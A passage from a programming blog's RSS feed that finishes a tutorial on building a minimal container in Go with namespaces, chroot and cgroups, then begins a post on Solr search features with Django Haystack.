style=&#34;display:flex;&#34;&gt;&lt;span&gt;    cmd.Stdout = os.Stdout&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    cmd.Stderr = os.Stderr&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    cmd.SysProcAttr = &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;amp;&lt;/span&gt;syscall.SysProcAttr{&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#x9;Cloneflags: syscall.CLONE_NEWUTS | syscall.CLONE_NEWPID,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    cmd.&lt;span style=&#34;color:#57c7ff&#34;&gt;Run&lt;/span&gt;()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;child&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Printf&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Cocde executing %v with Process Id (PID): %d \n&amp;#34;&lt;/span&gt;, os.Args[&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;:], os.&lt;span style=&#34;color:#57c7ff&#34;&gt;Getpid&lt;/span&gt;())&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    syscall.&lt;span style=&#34;color:#57c7ff&#34;&gt;Sethostname&lt;/span&gt;([]&lt;span style=&#34;color:#ff5c57&#34;&gt;byte&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;container&amp;#34;&lt;/span&gt;))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    cmd &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; exec.&lt;span style=&#34;color:#57c7ff&#34;&gt;Command&lt;/span&gt;(os.Args[&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;], os.Args[&lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt;:]&lt;span style=&#34;color:#ff6ac1&#34;&gt;...&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    cmd.Stdin = os.Stdin&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    cmd.Stdout = os.Stdout&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    cmd.Stderr = os.Stderr&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    cmd.&lt;span style=&#34;color:#57c7ff&#34;&gt;Run&lt;/span&gt;()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now, if we run the code we will see that the PID is 1, the first process, we have already isolated the processes! However, as we have not changed the file system, we will see the same processes of our main operating system.&lt;/p&gt;&#xA;&lt;p&gt;Remember that the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/linux/linux-basic-commands-passwd-du-useradd-usermod-fdisk-lscpu-apt-which/&#34;&gt;&lt;em&gt;ps&lt;/em&gt; command&lt;/a&gt;&#xA; gets the processes from the &lt;em&gt;/proc&lt;/em&gt; directory of the file system you are using. In other words, we need another file system.&lt;/p&gt;&#xA;&lt;h2 id=&#34;set-up-a-new-file-system-for-the-container&#34;&gt;Set up a new file system for the container&lt;/h2&gt;&#xA;&lt;p&gt;To use a unique file system for the container, other than the file system of our operating system, we will use the linux command &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/linux/linux-basic-commands-lsof-top-ps-kill-systemctl-chown-chroot/&#34;&gt;&lt;em&gt;chroot&lt;/em&gt;&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Chroot&lt;/em&gt; changes the default root location to a directory of your choice.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ls /another_file_system&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;bin dev home lib ... proc&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This new file system can have other libraries installed, configurations and be designed to our liking, it can be a copy of the one you are using or a completely different one.&lt;/p&gt;&#xA;&lt;p&gt;To isolate the processes of our container we go to:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Change the file system to the new one with Chroot&lt;/li&gt;&#xA;&lt;li&gt;Move to the root directory&lt;/li&gt;&#xA;&lt;li&gt;Mount the proc folder in proc&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;child&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    fmt.&lt;span style=&#34;color:#57c7ff&#34;&gt;Printf&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Cocde executing %v with Process Id (PID): %d \n&amp;#34;&lt;/span&gt;, os.Args[&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;:], os.&lt;span style=&#34;color:#57c7ff&#34;&gt;Getpid&lt;/span&gt;())&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    syscall.&lt;span style=&#34;color:#57c7ff&#34;&gt;Sethostname&lt;/span&gt;([]&lt;span style=&#34;color:#ff5c57&#34;&gt;byte&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;container&amp;#34;&lt;/span&gt;))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    cmd &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; exec.&lt;span style=&#34;color:#57c7ff&#34;&gt;Command&lt;/span&gt;(os.Args[&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;], os.Args[&lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt;:]&lt;span style=&#34;color:#ff6ac1&#34;&gt;...&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    cmd.Stdin = os.Stdin&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    cmd.Stdout = os.Stdout&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    cmd.Stderr = os.Stderr&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    syscall.&lt;span style=&#34;color:#57c7ff&#34;&gt;Chroot&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/another_file_system&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    os.&lt;span style=&#34;color:#57c7ff&#34;&gt;Chdir&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    syscall.&lt;span style=&#34;color:#57c7ff&#34;&gt;Mount&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;proc&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;proc&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;proc&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    cmd.&lt;span style=&#34;color:#57c7ff&#34;&gt;Run&lt;/span&gt;()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now our container is going to read the processes from our new file system, instead of the file system of the main operating system.&lt;/p&gt;&#xA;&lt;h2 id=&#34;limiting-container-resources-with-cgroups&#34;&gt;Limiting container resources with cgroups&lt;/h2&gt;&#xA;&lt;p&gt;Finally, we are going to limit the resources that our container can access using the linux cgroups.&lt;/p&gt;&#xA;&lt;p&gt;The cgroups are located inside the path &lt;em&gt;/sys/fs/cgroup/&lt;/em&gt; and we can create a new one by creating a new folder inside the cgroup type.&lt;/p&gt;&#xA;&lt;p&gt;In this case we will limit the memory, so our cgroup will be inside &lt;em&gt;/sys/fs/cgroup/memory/&amp;lt;cgroup_name&amp;gt;&lt;/em&gt;. Remember I told you that cgroups worked by reading a series of directories and files?&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;child&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;// ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#57c7ff&#34;&gt;setcgroup&lt;/span&gt;()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;// ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;setcgroup&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    cgPath &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; filepath.&lt;span style=&#34;color:#57c7ff&#34;&gt;Join&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/sys/fs/cgroup/memory&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;newcgroup&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    os.&lt;span style=&#34;color:#57c7ff&#34;&gt;Mkdir&lt;/span&gt;(cgPath, &lt;span style=&#34;color:#ff9f43&#34;&gt;0755&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ioutil.&lt;span style=&#34;color:#57c7ff&#34;&gt;WriteFile&lt;/span&gt;(filepath.&lt;span style=&#34;color:#57c7ff&#34;&gt;Join&lt;/span&gt;(cgPath, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;memory.limit_in_bytes&amp;#34;&lt;/span&gt;), []&lt;span style=&#34;color:#ff5c57&#34;&gt;byte&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;100000000&amp;#34;&lt;/span&gt;), &lt;span style=&#34;color:#ff9f43&#34;&gt;0700&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ioutil.&lt;span style=&#34;color:#57c7ff&#34;&gt;WriteFile&lt;/span&gt;(filepath.&lt;span style=&#34;color:#57c7ff&#34;&gt;Join&lt;/span&gt;(cgPath, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;tasks&amp;#34;&lt;/span&gt;), []&lt;span style=&#34;color:#ff5c57&#34;&gt;byte&lt;/span&gt;(strconv.&lt;span style=&#34;color:#57c7ff&#34;&gt;Itoa&lt;/span&gt;(os.&lt;span style=&#34;color:#57c7ff&#34;&gt;Getpid&lt;/span&gt;())), &lt;span style=&#34;color:#ff9f43&#34;&gt;0700&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We create a directory for our cgroup with the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/linux/understand-permissions-in-gnu-linux-and-the-chmod-command/&#34;&gt;linux permissions 0755&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;We will generate two files, inside our cgroup, to set the guidelines we want to implement&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;memory.limit_in_bytes&lt;/em&gt;, to limit the maximum memory to 100 MB (100000000 bytes).&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;tasks&lt;/em&gt; to tell linux that this cgroup configuration is applicable to the process number (PID) of our container, which we obtain with the Getpid method.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;And that&amp;rsquo;s it, with that we have a process with its own file system, isolated from the main operating system and can access only a part of the resources.&lt;/p&gt;&#xA;&lt;h2 id=&#34;how-does-a-docker-container-work-summary&#34;&gt;How does a Docker container work? Summary&lt;/h2&gt;&#xA;&lt;p&gt;In summary, it is possible to create a container using namespaces, cgroups and chroot, to isolate from the outside, limit resources, and provide its own file system, respectively.&lt;/p&gt;&#xA;&lt;p&gt;The code in this post is based on a &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.youtube.com/watch?v=Utf-A4rODH8&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;talk by LizRice&lt;/a&gt;&#xA; at ContainerCamp.&lt;/p&gt;&#xA;&lt;h2 id=&#34;other-resources-for-further-study&#34;&gt;Other resources for further study&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://wvi.cz/diyC/namespaces/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Namespaces&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://clibre.io/blog/por-secciones/hardening/item/425-cgroups-grupos-de-control-en-gnu-linux&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Cgroups&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;http://www.estrellateyarde.org/virtualizacion/la-jaula-en-linux-chroot&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Chroot&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://jessicagreben.medium.com/what-is-the-difference-between-a-process-a-container-and-a-vm-f36ba0f8a8f7&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Difference between a process, a container and a virtual machine&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Containers, especially Docker containers, are used everywhere, we tend to see them as small isolated operating systems that are inside our system. Using the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/docker/the-most-useful-and-basic-docker-commands/&#34;&gt;Docker commands&lt;/a&gt;&#xA; we can modify them, create them, delete them and even get inside them and run commands, but have you ever wondered how they work internally?&lt;/p&gt;&#xA;&lt;p&gt;We know that a container is a linux process with several characteristics:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A linux process, or group of processes, executed by a user.&lt;/li&gt;&#xA;&lt;li&gt;It is isolated from the operating system that hosts it (&lt;strong&gt;Namespaces&lt;/strong&gt;).&lt;/li&gt;&#xA;&lt;li&gt;It has a limited amount of resources (&lt;strong&gt;Cgroups&lt;/strong&gt;).&lt;/li&gt;&#xA;&lt;li&gt;It has a file system independent of the operating system in which it runs (&lt;strong&gt;Chroot&lt;/strong&gt;).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;To achieve this, docker, and other container technologies, take advantage of some features of GNU/Linux (from now on only linux):&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Autocomplete, Suggestions and Related Content: Solr and Django</title>
      <link>https://coffeebytes.dev/en/django/autocomplete-suggestions-and-related-content-solr-and-django/</link>
      <pubDate>Sun, 29 May 2022 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/django/autocomplete-suggestions-and-related-content-solr-and-django/</guid>
      
      <category>django</category>
      
      <category>linux</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Solr, together with Lucene, is an outstanding search engine that allows you to perform searches with advanced features. In this post I bring you a summary of some of the most interesting features of Solr and Django Haystack.&lt;/p&gt;&#xA;&lt;p&gt;I assume you already have a &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/searches-with-solr-with-django-haystack/&#34;&gt;configured django app with Solr&lt;/a&gt;&#xA;, in case you don&amp;rsquo;t, check my previous post.&lt;/p&gt;&#xA;&lt;h2 id=&#34;behavior-of-default-and-and-or-searches&#34;&gt;Behavior of default AND and OR searches&lt;/h2&gt;&#xA;&lt;p&gt;Haystack allows us to define a default behavior for all searches, either by joining terms with AND or OR operators. The default value is AND but you can modify it in the configuration file.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# settings.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;HAYSTACK_DEFAULT_OPERATOR &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;AND&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;HAYSTACK_DEFAULT_OPERATOR &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;OR&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;search-by-specific-field-with-solr&#34;&gt;Search by specific field with Solr&lt;/h2&gt;&#xA;&lt;p&gt;If we want to limit our search to a specific field of the object we define as index we simply pass it as a parameter, together with the text string to search.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;vista&lt;/span&gt;(request):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    results &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; SearchQuerySet()&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;models(&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;modelo&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;)&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(title&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;&amp;lt;query text&amp;gt;&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This will allow us to search in the title field for our search term.&lt;/p&gt;&#xA;&lt;h2 id=&#34;importance-of-the-fields-in-solr-search&#34;&gt;Importance of the fields in Solr search&lt;/h2&gt;&#xA;&lt;p&gt;Remember that Solr sorts results by relevance? Sometimes we want to increase the relevance in certain cases, for example: maybe you want the last term searched by your user to influence the search. For this we add the boost method and the relative importance value we want to give it.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h3 id=&#34;increment-per-search-term&#34;&gt;Increment per search term&lt;/h3&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sqs &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; SearchQuerySet()&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;boost(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;&amp;lt;término&amp;gt;&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;1.2&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;increment-per-field&#34;&gt;Increment per field&lt;/h3&gt;&#xA;&lt;p&gt;When we want Solr to give more or less importance to a given field when performing a search, we pass the parameter boost to our field.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# 